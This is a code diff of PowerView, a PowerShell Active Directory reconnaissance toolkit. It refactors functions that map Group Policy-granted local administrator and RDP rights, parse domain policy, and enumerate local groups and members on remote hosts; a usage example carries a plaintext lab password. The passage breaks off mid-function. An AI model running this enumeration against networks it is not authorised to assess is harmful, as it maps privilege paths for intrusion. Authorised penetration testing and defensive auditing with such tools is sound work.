ParameterSetName = 'ComputerIdentity', Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('ComputerName', 'Computer', 'DistinguishedName', 'SamAccountName', 'Name')] [String] - $ComputerName, + $ComputerIdentity, + + [Parameter(Mandatory = $True, ParameterSetName = 'OUIdentity')] + [Alias('OU')] + [String] + $OUIdentity, [String] - $OUName, + [ValidateSet('Administrators', 'S-1-5-32-544', 'RDP', 'Remote Desktop Users', 'S-1-5-32-555')] + $LocalGroup = 'Administrators', + [ValidateNotNullOrEmpty()] [String] $Domain, + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] [String] - $DomainController, + $SearchBase, - [Switch] - $Recurse, + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] - $LocalGroup = 'Administrators', + $SearchScope = 'Subtree', - [Switch] - $UsePSDrive, + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, - [ValidateRange(1,10000)] + [ValidateRange(1, 10000)] [Int] - $PageSize = 200 - ) + $ServerTimeLimit, - process { - - if(!$ComputerName -and !$OUName) { - Throw "-ComputerName or -OUName must be provided" - } + [Switch] + $Tombstone, - $GPOGroups = @() + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $CommonArguments = @{} + if ($PSBoundParameters['Domain']) { $CommonArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $CommonArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $CommonArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $CommonArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $CommonArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $CommonArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $CommonArguments['Credential'] = $Credential } + } - if($ComputerName) { - $Computers = Get-NetComputer -ComputerName $ComputerName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize + PROCESS { + if ($PSBoundParameters['ComputerIdentity']) { + $Computers = Get-DomainComputer @CommonArguments -Identity $ComputerIdentity -Properties 'distinguishedname,dnshostname' - if(!$Computers) { - throw "Computer $ComputerName in domain '$Domain' not found! Try a fully qualified host name" + if (-not $Computers) { + throw "[Get-DomainGPOComputerLocalGroupMapping] Computer $ComputerIdentity not found. Try a fully qualified host name." } - - $TargetOUs = @() - ForEach($Computer in $Computers) { - # extract all OUs a computer is a part of - $DN = $Computer.distinguishedname - $TargetOUs += $DN.split(",") | ForEach-Object { - if($_.startswith("OU=")) { - $DN.substring($DN.indexof($_)) + ForEach ($Computer in $Computers) { + + $GPOGuids = @() + + # extract any GPOs linked to this computer's OU through gpLink + $DN = $Computer.distinguishedname + $OUIndex = $DN.IndexOf('OU=') + if ($OUIndex -gt 0) { + $OUName = $DN.SubString($OUIndex) + } + if ($OUName) { + $GPOGuids += Get-DomainOU @CommonArguments -SearchBase $OUName -LDAPFilter '(gplink=*)' | ForEach-Object { + Select-String -InputObject $_.gplink -Pattern '(\{){0,1}[0-9a-fA-F]{8}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{12}(\}){0,1}' -AllMatches | ForEach-Object {$_.Matches | Select-Object -ExpandProperty Value } } } - } - # enumerate any linked GPOs for the computer's site - $ComputerSite = (Get-SiteName -ComputerName $ComputerName).SiteName - if($ComputerSite -and ($ComputerSite -notlike 'Error*')) { - $GPOGroups += Get-NetSite -SiteName $ComputerSite -FullData | ForEach-Object { - if($_.gplink) { - $_.gplink.split("][") | ForEach-Object { - if ($_.startswith("LDAP")) { - $_.split(";")[0] - } - } + # extract any GPOs linked to this computer's site through gpLink + Write-Verbose "Enumerating the sitename for: $($Computer.dnshostname)" + $ComputerSite = (Get-NetComputerSiteName -ComputerName $Computer.dnshostname).SiteName + if ($ComputerSite -and ($ComputerSite -notmatch 'Error')) { + $GPOGuids += Get-DomainSite @CommonArguments -Identity $ComputerSite -LDAPFilter '(gplink=*)' | ForEach-Object { + Select-String -InputObject $_.gplink -Pattern '(\{){0,1}[0-9a-fA-F]{8}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{12}(\}){0,1}' -AllMatches | ForEach-Object {$_.Matches | Select-Object -ExpandProperty Value } } - } | ForEach-Object { - $GPOGroupArgs = @{ - 'Domain' = $Domain - 'DomainController' = $DomainController - 'ResolveMemberSIDs' = $True - 'UsePSDrive' = $UsePSDrive - 'PageSize' = $PageSize - } - - # for each GPO link, get any locally set user/group SIDs - Get-NetGPOGroup @GPOGroupArgs } - } - } - else { - $TargetOUs = @($OUName) - } - - Write-Verbose "Target OUs: $TargetOUs" - $TargetOUs | Where-Object {$_} | ForEach-Object { + # process any GPO local group settings from the GPO GUID set + $GPOGuids | Get-DomainGPOLocalGroup @CommonArguments | Sort-Object -Property GPOName -Unique | ForEach-Object { + $GPOGroup = $_ - $GPOLinks = Get-NetOU -Domain $Domain -DomainController $DomainController -ADSpath $_ -FullData -PageSize $PageSize | ForEach-Object { - # and then get any GPO links - if($_.gplink) { - $_.gplink.split("][") | ForEach-Object { - if ($_.startswith("LDAP")) { - $_.split(";")[0] - } + if($GPOGroup.GroupMembers) { + $GPOMembers = $GPOGroup.GroupMembers + } + else { + $GPOMembers = $GPOGroup.GroupSID } - } - } - - $GPOGroupArgs = @{ - 'Domain' = $Domain - 'DomainController' = $DomainController - 'UsePSDrive' = $UsePSDrive - 'ResolveMemberSIDs' = $True - 'PageSize' = $PageSize - } - # extract GPO groups that are set through any gPlink for this OU - $GPOGroups += Get-NetGPOGroup @GPOGroupArgs | ForEach-Object { - ForEach($GPOLink in $GPOLinks) { - $Name = $_.GPOName - if($GPOLink -like "*$Name*") { - $_ + $GPOMembers | ForEach-Object { + $Object = Get-DomainObject @CommonArguments -Identity $_ + $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype + + $GPOComputerLocalGroupMember = New-Object PSObject + $GPOComputerLocalGroupMember | Add-Member Noteproperty 'ComputerName' $Computer.dnshostname + $GPOComputerLocalGroupMember | Add-Member Noteproperty 'ObjectName' $Object.samaccountname + $GPOComputerLocalGroupMember | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname + $GPOComputerLocalGroupMember | Add-Member Noteproperty 'ObjectSID' $_ + $GPOComputerLocalGroupMember | Add-Member Noteproperty 'IsGroup' $IsGroup + $GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPODisplayName' $GPOGroup.GPODisplayName + $GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPOGuid' $GPOGroup.GPOName + $GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPOPath' $GPOGroup.GPOPath + $GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPOType' $GPOGroup.GPOType + $GPOComputerLocalGroupMember.PSObject.TypeNames.Add('PowerView.GPOComputerLocalGroupMember') + $GPOComputerLocalGroupMember } } } } + } +} - # for each found GPO group, resolve the SIDs of the members - $GPOgroups | Sort-Object -Property GPOName -Unique | ForEach-Object { - $GPOGroup = $_ - if($GPOGroup.GroupMembers) { - $GPOMembers = $GPOGroup.GroupMembers - } - else { - $GPOMembers = $GPOGroup.GroupSID - } +function Get-DomainPolicy { +<# +.SYNOPSIS - $GPOMembers | ForEach-Object { - # resolve this SID to a domain object - $Object = Get-ADObject -Domain $Domain -DomainController $DomainController -PageSize $PageSize -SID $_ +Returns the default domain policy or the domain controller policy for the current +domain or a specified domain/domain controller. - $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainGPO, Get-GptTmpl, ConvertFrom-SID - $GPOComputerAdmin = New-Object PSObject - $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName - $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $Object.samaccountname - $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname - $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_ - $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $IsGroup - $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPOGroup.GPODisplayName - $GPOComputerAdmin | Add-Member Noteproperty 'GPOGuid' $GPOGroup.GPOName - $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPOGroup.GPOPath - $GPOComputerAdmin | Add-Member Noteproperty 'GPOType' $GPOGroup.GPOType - $GPOComputerAdmin +.DESCRIPTION - # if we're recursing and the current result object is a group - if($Recurse -and $GPOComputerAdmin.isGroup) { +Returns the default domain policy or the domain controller policy for the current +domain or a specified domain/domain controller using Get-DomainGPO. - Get-NetGroupMember -Domain $Domain -DomainController $DomainController -SID $_ -FullData -Recurse -PageSize $PageSize | ForEach-Object { +.PARAMETER Domain - $MemberDN = $_.distinguishedName +The domain to query for default policies, defaults to the current domain. - # extract the FQDN from the Distinguished Name - $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' +.PARAMETER Source - $MemberIsGroup = @('268435456','268435457','536870912','536870913') -contains $_.samaccounttype +Extract 'Domain' or 'DC' (domain controller) policies. - if ($_.samAccountName) { - # forest users have the samAccountName set - $MemberName = $_.samAccountName - } - else { - # external trust users have a SID, so convert it - try { - $MemberName = Convert-SidToName $_.cn - } - catch { - # if there's a problem contacting the domain to resolve the SID - $MemberName = $_.cn - } - } +.PARAMETER Server - $GPOComputerAdmin = New-Object PSObject - $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName - $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $MemberName - $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $MemberDN - $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_.objectsid - $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $MemberIsGrou - $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPOGroup.GPODisplayName - $GPOComputerAdmin | Add-Member Noteproperty 'GPOGuid' $GPOGroup.GPOName - $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPOGroup.GPOPath - $GPOComputerAdmin | Add-Member Noteproperty 'GPOType' $GPOTypep - $GPOComputerAdmin - } - } - } - } - } -} +Specifies an Active Directory server (domain controller) to bind to. +.PARAMETER ServerTimeLimit -function Get-DomainPolicy { -<# - .SYNOPSIS +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. - Returns the default domain or DC policy for a given - domain or domain controller. +.PARAMETER ResolveSids - Thanks Sean Metacalf (@pyrotek3) for the idea and guidance. +Switch. Resolve Sids from a DC policy to object names. - .PARAMETER Source +.PARAMETER Credential - Extract Domain or DC (domain controller) policies. +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. - .PARAMETER Domain +.EXAMPLE - The domain to query for default policies, defaults to the current domain. +Get-DomainPolicy - .PARAMETER DomainController +Returns the domain policy for the current domain. - Domain controller to reflect LDAP queries through. +.EXAMPLE - .PARAMETER ResolveSids +Get-DomainPolicy -Domain dev.testlab.local - Switch. Resolve Sids from a DC policy to object names. +Returns the domain policy for the dev.testlab.local domain. - .PARAMETER UsePSDrive +.EXAMPLE - Switch. Mount any found policy files with temporary PSDrives. +Get-DomainPolicy -Source DC -Domain dev.testlab.local - .EXAMPLE +Returns the policy for the dev.testlab.local domain controller. - PS C:\> Get-DomainPolicy +.EXAMPLE - Returns the domain policy for the current domain. +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainPolicy -Credential $Cred - .EXAMPLE +.OUTPUTS - PS C:\> Get-DomainPolicy -Source DC -DomainController MASTER.testlab.local +Hashtable - Returns the policy for the MASTER.testlab.local domain controller. +Ouputs a hashtable representing the parsed GptTmpl.inf file. #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType([Hashtable])] [CmdletBinding()] - Param ( + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Name')] + [ValidateNotNullOrEmpty()] [String] - [ValidateSet("Domain","DC")] - $Source ="Domain", + $Domain, + [ValidateSet('Domain', 'DC', 'DomainController')] [String] - $Domain, + $Source = 'Domain', + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] [String] - $DomainController, + $Server, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, [Switch] $ResolveSids, - [Switch] - $UsePSDrive + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty ) - if($Source -eq "Domain") { - # query the given domain for the default domain policy object - $GPO = Get-NetGPO -Domain $Domain -DomainController $DomainController -GPOname "{31B2F340-016D-11D2-945F-00C04FB984F9}" - - if($GPO) { - # grab the GptTmpl.inf file and parse it - $GptTmplPath = $GPO.gpcfilesyspath + "\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } - $ParseArgs = @{ - 'GptTmplPath' = $GptTmplPath - 'UsePSDrive' = $UsePSDrive - } + $ConvertArguments = @{} + if ($PSBoundParameters['Server']) { $ConvertArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $ConvertArguments['Credential'] = $Credential } + } - # parse the GptTmpl.inf - Get-GptTmpl @ParseArgs + PROCESS { + if ($PSBoundParameters['Domain']) { + $SearcherArguments['Domain'] = $Domain + $ConvertArguments['Domain'] = $Domain } - } - elseif($Source -eq "DC") { - # query the given domain/dc for the default domain controller policy object - $GPO = Get-NetGPO -Domain $Domain -DomainController $DomainController -GPOname "{6AC1786C-016F-11D2-945F-00C04FB984F9}" - - if($GPO) { - # grab the GptTmpl.inf file and parse it - $GptTmplPath = $GPO.gpcfilesyspath + "\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" + if ($Source -eq 'Domain') { + # query the given domain for the default domain policy object (name = {31B2F340-016D-11D2-945F-00C04FB984F9}) + $SearcherArguments['Identity'] = '{31B2F340-016D-11D2-945F-00C04FB984F9}' + $GPO = Get-DomainGPO @SearcherArguments - $ParseArgs = @{ - 'GptTmplPath' = $GptTmplPath - 'UsePSDrive' = $UsePSDrive + if ($GPO) { + # grab the GptTmpl.inf file and parse it + $GptTmplPath = $GPO.gpcfilesyspath + '\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf' + $ParseArgs = @{'GptTmplPath' = $GptTmplPath} + if ($PSBoundParameters['Credential']) { $ParseArgs['Credential'] = $Credential } + Get-GptTmpl @ParseArgs } - - # parse the GptTmpl.inf - Get-GptTmpl @ParseArgs | ForEach-Object { - if($ResolveSids) { - # if we're resolving sids in PrivilegeRights to names - $Policy = New-Object PSObject - $_.psobject.properties | ForEach-Object { - if( $_.Name -eq 'PrivilegeRights') { - - $PrivilegeRights = New-Object PSObject - # for every nested SID member of PrivilegeRights, try to unpack everything and resolve the SIDs as appropriate - $_.Value.psobject.properties | ForEach-Object { - - $Sids = $_.Value | ForEach-Object { + } + else { + # query the given domain/dc for the default domain controller policy object (name = {6AC1786C-016F-11D2-945F-00C04FB984F9}) + $SearcherArguments['Identity'] = '{6AC1786C-016F-11D2-945F-00C04FB984F9}' + $GPO = Get-DomainGPO @SearcherArguments + + if ($GPO) { + # grab the GptTmpl.inf file and parse it + $GptTmplPath = $GPO.gpcfilesyspath + "\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" + + $ParseArgs = @{'GptTmplPath' = $GptTmplPath} + if ($PSBoundParameters['Credential']) { $ParseArgs['Credential'] = $Credential } + + # parse the GptTmpl.inf + Get-GptTmpl @ParseArgs | ForEach-Object { + if ($PSBoundParameters['ResolveSids']) { + $Root = $_ + $PrivilegeRightsResovled = @{} + # if we're resolving sids in PrivilegeRights to names + if ($Root.'Privilege Rights') { + $PrivilegeRights = $Root.'Privilege Rights' + ForEach ($PrivilegeRight in $PrivilegeRights.Keys) { + $PrivilegeRightsResovled[$PrivilegeRight] = $PrivilegeRights."$PrivilegeRight" | ForEach-Object { try { - if($_ -isnot [System.Array]) { - Convert-SidToName $_ - } - else { - $_ | ForEach-Object { Convert-SidToName $_ } - } + $_ | ForEach-Object { ConvertFrom-SID -ObjectSid ($_.Trim('*')) @ConvertArguments } } catch { - Write-Verbose "Error resolving SID : $_" + Write-Verbose "[Get-DomainPolicy] Error resolving SID : $_" + $_ } } - - $PrivilegeRights | Add-Member Noteproperty $_.Name $Sids } - - $Policy | Add-Member Noteproperty 'PrivilegeRights' $PrivilegeRights - } - else { - $Policy | Add-Member Noteproperty $_.Name $_.Value } + $Root.'Privilege Rights' = $PrivilegeRightsResovled + $Root } - $Policy + else { $_ } } - else { $_ } } } } } - ######################################################## # # Functions that enumerate a single host, either through -# WinNT, WMI, remote registry, or API calls +# WinNT, WMI, remote registry, or API calls # (with PSReflect). # ######################################################## function Get-NetLocalGroup { <# - .SYNOPSIS +.SYNOPSIS - Gets a list of all current users in a specified local group, - or returns the names of all local groups with -ListGroups. +Enumerates the local groups on the local (or remote) machine. - .PARAMETER ComputerName +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect - The hostname or IP to query for local group users. +.DESCRIPTION - .PARAMETER ComputerFile +This function will enumerate the names and descriptions for the +local groups on the current, or remote, machine. By default, the Win32 API +call NetLocalGroupEnum will be used (for speed). Specifying "-Method WinNT" +causes the WinNT service provider to be used instead, which returns group +SIDs along with the group names and descriptions/comments. - File of hostnames/IPs to query for local group users. +.PARAMETER ComputerName - .PARAMETER GroupName +Specifies the hostname to query for sessions (also accepts IP addresses). +Defaults to the localhost. - The local group name to query for users. If not given, it defaults to "Administrators" +.PARAMETER Method - .PARAMETER ListGroups +The collection method to use, defaults to 'API', also accepts 'WinNT'. - Switch. List all the local groups instead of their members. - Old Get-NetLocalGroups functionality. +.PARAMETER Credential - .PARAMETER Recurse +A [Management.Automation.PSCredential] object of alternate credentials +for connection to a remote machine. Only applicable with "-Method WinNT". - Switch. If the local member member is a domain group, recursively try to resolve its members to get a list of domain users who can access this machine. +.EXAMPLE - .PARAMETER API +Get-NetLocalGroup - Switch. Use API calls instead of the WinNT service provider. Less information, - but the results are faster. +ComputerName GroupName Comment +------------ --------- ------- +WINDOWS1 Administrators Administrators have comple... +WINDOWS1 Backup Operators Backup Operators can overr... +WINDOWS1 Cryptographic Operators Members are authorized to ... +... - .EXAMPLE +.EXAMPLE - PS C:\> Get-NetLocalGroup +Get-NetLocalGroup -Method Winnt - Returns the usernames that of members of localgroup "Administrators" on the local host. +ComputerName GroupName GroupSID Comment +------------ --------- -------- ------- +WINDOWS1 Administrators S-1-5-32-544 Administrators hav... +WINDOWS1 Backup Operators S-1-5-32-551 Backup Operators c... +WINDOWS1 Cryptographic Opera... S-1-5-32-569 Members are author... +... - .EXAMPLE +.EXAMPLE - PS C:\> Get-NetLocalGroup -ComputerName WINDOWSXP +Get-NetLocalGroup -ComputerName primary.testlab.local - Returns all the local administrator accounts for WINDOWSXP +ComputerName GroupName Comment +------------ --------- ------- +primary.testlab.local Administrators Administrators have comple... +primary.testlab.local Users Users are prevented from m... +primary.testlab.local Guests Guests have the same acces... +primary.testlab.local Print Operators Members can administer dom... +primary.testlab.local Backup Operators Backup Operators can overr... - .EXAMPLE +.OUTPUTS - PS C:\> Get-NetLocalGroup -ComputerName WINDOWS7 -Recurse +PowerView.LocalGroup.API - Returns all effective local/domain users/groups that can access WINDOWS7 with - local administrative privileges. +Custom PSObject with translated group property fields from API results. - .EXAMPLE +PowerView.LocalGroup.WinNT - PS C:\> Get-NetLocalGroup -ComputerName WINDOWS7 -ListGroups +Custom PSObject with translated group property fields from WinNT results. - Returns all local groups on the WINDOWS7 host. +.LINK - .EXAMPLE +https://msdn.microsoft.com/en-us/library/windows/desktop/aa370440(v=vs.85).aspx +#> - PS C:\> "WINDOWS7", "WINDOWSSP" | Get-NetLocalGroup -API + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.LocalGroup.API')] + [OutputType('PowerView.LocalGroup.WinNT')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = $Env:COMPUTERNAME, - Returns all local groups on the the passed hosts using API calls instead of the - WinNT service provider. + [ValidateSet('API', 'WinNT')] + [Alias('CollectionMethod')] + [String] + $Method = 'API', - .LINK + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) - http://stackoverflow.com/questions/21288220/get-all-local-members-and-groups-displayed-together - http://msdn.microsoft.com/en-us/library/aa772211(VS.85).aspx -#> + BEGIN { + if ($PSBoundParameters['Credential'] -and ($Method -eq 'WinNT')) { + Write-Warning "[Get-NetLocalGroup] -Credential is only compatible with '-Method WinNT'" + } + } - [CmdletBinding(DefaultParameterSetName = 'WinNT')] - param( - [Parameter(ParameterSetName = 'API', Position=0, ValueFromPipeline=$True)] - [Parameter(ParameterSetName = 'WinNT', Position=0, ValueFromPipeline=$True)] - [Alias('HostName')] - [String[]] - $ComputerName = $Env:ComputerName, + PROCESS { + ForEach ($Computer in $ComputerName) { + if ($Method -eq 'API') { + # if we're using the Netapi32 NetLocalGroupEnum API call to get the local group information - [Parameter(ParameterSetName = 'WinNT')] - [Parameter(ParameterSetName = 'API')] - [ValidateScript({Test-Path -Path $_ })] - [Alias('HostList')] - [String] - $ComputerFile, + # arguments for NetLocalGroupEnum + $QueryLevel = 1 + $PtrInfo = [IntPtr]::Zero + $EntriesRead = 0 + $TotalRead = 0 + $ResumeHandle = 0 - [Parameter(ParameterSetName = 'WinNT')] - [Parameter(ParameterSetName = 'API')] - [String] - $GroupName = 'Administrators', + # get the local user information + $Result = $Netapi32::NetLocalGroupEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) - [Parameter(ParameterSetName = 'WinNT')] - [Switch] - $ListGroups, + # locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() - [Parameter(ParameterSetName = 'WinNT')] - [Switch] - $Recurse, + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { - [Parameter(ParameterSetName = 'API')] - [Switch] - $API - ) + # Work out how much to increment the pointer by finding out the size of the structure + $Increment = $LOCALGROUP_INFO_1::GetSize() - process { + # parse all the result structures + for ($i = 0; ($i -lt $EntriesRead); $i++) { + # create a new int ptr at the given offset and cast the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $LOCALGROUP_INFO_1 - $Servers = @() + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment - # if we have a host list passed, grab it - if($ComputerFile) { - $Servers = Get-Content -Path $ComputerFile - } - else { - # otherwise assume a single host name - $Servers += $ComputerName | Get-NameField + $LocalGroup = New-Object PSObject + $LocalGroup | Add-Member Noteproperty 'ComputerName' $Computer + $LocalGroup | Add-Member Noteproperty 'GroupName' $Info.lgrpi1_name + $LocalGroup | Add-Member Noteproperty 'Comment' $Info.lgrpi1_comment + $LocalGroup.PSObject.TypeNames.Insert(0, 'PowerView.LocalGroup.API') + $LocalGroup + } + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + } + else { + Write-Verbose "[Get-NetLocalGroup] Error: $(([ComponentModel.Win32Exception] $Result).Message)" + } + } + else { + # otherwise we're using the WinNT service provider + if ($Credential -ne [Management.Automation.PSCredential]::Empty) { + $ComputerProvider = New-Object DirectoryServices.DirectoryEntry("WinNT://$Computer,computer", $Credential.UserName, $Credential.GetNetworkCredential().Password) + } + else { + $ComputerProvider = [ADSI]"WinNT://$Computer,computer" + } + + $ComputerProvider.psbase.children | Where-Object { $_.psbase.schemaClassName -eq 'group' } | ForEach-Object { + $LocalGroup = ([ADSI]$_) + $Group = New-Object PSObject + $Group | Add-Member Noteproperty 'ComputerName' $Computer + $Group | Add-Member Noteproperty 'GroupName' ($LocalGroup.InvokeGet('Name')) + $Group | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalGroup.InvokeGet('objectsid'),0)).Value) + $Group | Add-Member Noteproperty 'Comment' ($LocalGroup.InvokeGet('Description')) + $Group.PSObject.TypeNames.Insert(0, 'PowerView.LocalGroup.WinNT') + $Group + } + } } + } +} + + +function Get-NetLocalGroupMember { +<# +.SYNOPSIS + +Enumerates members of a specific local group on the local (or remote) machine. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Convert-ADName + +.DESCRIPTION + +This function will enumerate the members of a specified local group on the +current, or remote, machine. By default, the Win32 API call NetLocalGroupGetMembers +will be used (for speed). Specifying "-Method WinNT" causes the WinNT service provider +to be used instead, which returns a larger amount of information. + +.PARAMETER ComputerName + +Specifies the hostname to query for sessions (also accepts IP addresses). +Defaults to the localhost. + +.PARAMETER GroupName + +The local group name to query for users. If not given, it defaults to "Administrators". + +.PARAMETER Method + +The collection method to use, defaults to 'API', also accepts 'WinNT'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to a remote machine. Only applicable with "-Method WinNT". + +.EXAMPLE + +Get-NetLocalGroupMember | ft + +ComputerName GroupName MemberName SID IsGroup IsDomain +------------ --------- ---------- --- ------- -------- +WINDOWS1 Administrators WINDOWS1\Ad... S-1-5-21-25... False False +WINDOWS1 Administrators WINDOWS1\lo... S-1-5-21-25... False False +WINDOWS1 Administrators TESTLAB\Dom... S-1-5-21-89... True True +WINDOWS1 Administrators TESTLAB\har... S-1-5-21-89... False True + +.EXAMPLE + +Get-NetLocalGroupMember -Method winnt | ft + +ComputerName GroupName MemberName SID IsGroup IsDomain +------------ --------- ---------- --- ------- -------- +WINDOWS1 Administrators WINDOWS1\Ad... S-1-5-21-25... False False +WINDOWS1 Administrators WINDOWS1\lo... S-1-5-21-25... False False +WINDOWS1 Administrators TESTLAB\Dom... S-1-5-21-89... True True +WINDOWS1 Administrators TESTLAB\har... S-1-5-21-89... False True + +.EXAMPLE + +Get-NetLocalGroup | Get-NetLocalGroupMember | ft + +ComputerName GroupName MemberName SID IsGroup IsDomain +------------ --------- ---------- --- ------- -------- +WINDOWS1 Administrators WINDOWS1\Ad... S-1-5-21-25... False False +WINDOWS1 Administrators WINDOWS1\lo... S-1-5-21-25... False False +WINDOWS1 Administrators TESTLAB\Dom... S-1-5-21-89... True True +WINDOWS1 Administrators TESTLAB\har... S-1-5-21-89... False True +WINDOWS1 Guests WINDOWS1\Guest S-1-5-21-25... False False +WINDOWS1 IIS_IUSRS NT AUTHORIT... S-1-5-17 False False +WINDOWS1 Users NT AUTHORIT... S-1-5-4 False False +WINDOWS1 Users NT AUTHORIT... S-1-5-11 False False +WINDOWS1 Users WINDOWS1\lo... S-1-5-21-25... False UNKNOWN +WINDOWS1 Users TESTLAB\Dom... S-1-5-21-89... True UNKNOWN + +.EXAMPLE + +Get-NetLocalGroupMember -ComputerName primary.testlab.local | ft + +ComputerName GroupName MemberName SID IsGroup IsDomain +------------ --------- ---------- --- ------- -------- +primary.tes... Administrators TESTLAB\Adm... S-1-5-21-89... False False +primary.tes... Administrators TESTLAB\loc... S-1-5-21-89... False False +primary.tes... Administrators TESTLAB\Ent... S-1-5-21-89... True False +primary.tes... Administrators TESTLAB\Dom... S-1-5-21-89... True False + +.OUTPUTS + +PowerView.LocalGroupMember.API + +Custom PSObject with translated group property fields from API results. + +PowerView.LocalGroupMember.WinNT + +Custom PSObject with translated group property fields from WinNT results. + +.LINK - # query the specified group using the WINNT provider, and - # extract fields as appropriate from the results - ForEach($Server in $Servers) { +http://stackoverflow.com/questions/21288220/get-all-local-members-and-groups-displayed-together +http://msdn.microsoft.com/en-us/library/aa772211(VS.85).aspx +https://msdn.microsoft.com/en-us/library/windows/desktop/aa370601(v=vs.85).aspx +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.LocalGroupMember.API')] + [OutputType('PowerView.LocalGroupMember.WinNT')] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = $Env:COMPUTERNAME, - if($API) { + [Parameter(ValueFromPipelineByPropertyName = $True)] + [ValidateNotNullOrEmpty()] + [String] + $GroupName = 'Administrators', + + [ValidateSet('API', 'WinNT')] + [Alias('CollectionMethod')] + [String] + $Method = 'API', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + if ($PSBoundParameters['Credential'] -and ($Method -eq 'WinNT')) { + Write-Warning "[Get-NetLocalGroupMember] -Credential is only compatible with '-Method WinNT'" + } + } + + PROCESS { + ForEach ($Computer in $ComputerName) { + if ($Method -eq 'API') { # if 